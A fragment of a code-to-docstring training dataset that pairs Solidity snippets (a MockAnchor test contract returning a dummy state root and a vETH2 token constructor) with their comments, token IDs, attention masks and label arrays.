-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "../../anchor/Anchor.sol";
/**
* @title MockAnchor contract.
*
* @notice Used for test only.
*/
contract MockAnchor is Anchor {
/* Public functions */
/**
* @notice Contract constructor.
*
* @param _remoteChainId The chain id of the chain that is tracked by this
* anchor.
* @param _blockHeight Block height at which _stateRoot needs to store.
* @param _stateRoot State root hash of given _blockHeight.
* @param _maxStateRoots The max number of state roots to store in the
* circular buffer.
* @param _organization Address of an organization contract.
*/
constructor(
uint256 _remoteChainId,
uint256 _blockHeight,
bytes32 _stateRoot,
uint256 _maxStateRoots,
OrganizationInterface _organization
)
Anchor(
_remoteChainId,
_blockHeight,
_stateRoot,
_maxStateRoots,
_organization
)
public
{}
/**
* @notice Get the mocked state root.
*
* @dev This is for testing only so the data is mocked here. Also please
* note the Anchor contract has defined this function as view,
* so to keep this overridden function as view, reading a storage
* variable.
*
* @return bytes32 Mocked state root.
*/
function getStateRoot(uint256)
external
view
returns (bytes32)
{
// Hashing dummy data.
return keccak256(abi.encodePacked("dummy data"));
}
}
|
* @notice Get the mocked state root. @dev This is for testing only so the data is mocked here. Also please note the Anchor contract has defined this function as view, so to keep this overridden function as view, reading a storage variable. @return bytes32 Mocked state root./ Hashing dummy data.
|
{
return keccak256(abi.encodePacked("dummy data"));
}
| 12,940,929 |
[
1,
967,
326,
5416,
329,
919,
1365,
18,
225,
1220,
353,
364,
7769,
1338,
1427,
326,
501,
353,
5416,
329,
2674,
18,
8080,
9582,
1377,
4721,
326,
27285,
6835,
711,
2553,
333,
445,
487,
1476,
16,
1377,
1427,
358,
3455,
333,
11000,
445,
487,
1476,
16,
6453,
279,
2502,
1377,
2190,
18,
327,
1731,
1578,
7867,
329,
919,
1365,
18,
19,
2474,
310,
9609,
501,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
288,
203,
3639,
327,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
2932,
21050,
501,
7923,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x64A0ED7f89d9F6de790F7d77022017be9Dcb405A/sources/browser/veth2-5.sol
|
* @notice Construct a new Uni token @param account The initial account to grant all the tokens @param minter_ The account with minting ability @param mintingAllowedAfter_ The timestamp after which minting may occur/
|
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "vETH2::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
| 11,628,904 |
[
1,
7249,
279,
394,
1351,
77,
1147,
225,
2236,
1021,
2172,
2236,
358,
7936,
777,
326,
2430,
225,
1131,
387,
67,
1021,
2236,
598,
312,
474,
310,
7123,
225,
312,
474,
310,
5042,
4436,
67,
1021,
2858,
1839,
1492,
312,
474,
310,
2026,
3334,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
2867,
2236,
16,
1758,
1131,
387,
67,
16,
2254,
312,
474,
310,
5042,
4436,
67,
13,
1071,
288,
203,
3639,
2583,
12,
81,
474,
310,
5042,
4436,
67,
1545,
1203,
18,
5508,
16,
315,
90,
1584,
44,
22,
2866,
12316,
30,
312,
474,
310,
848,
1338,
2376,
1839,
6314,
8863,
203,
203,
3639,
324,
26488,
63,
4631,
65,
273,
2254,
10525,
12,
4963,
3088,
1283,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
2236,
16,
2078,
3088,
1283,
1769,
203,
3639,
1131,
387,
273,
1131,
387,
67,
31,
203,
3639,
3626,
490,
2761,
5033,
12,
2867,
12,
20,
3631,
1131,
387,
1769,
203,
3639,
312,
474,
310,
5042,
4436,
273,
312,
474,
310,
5042,
4436,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.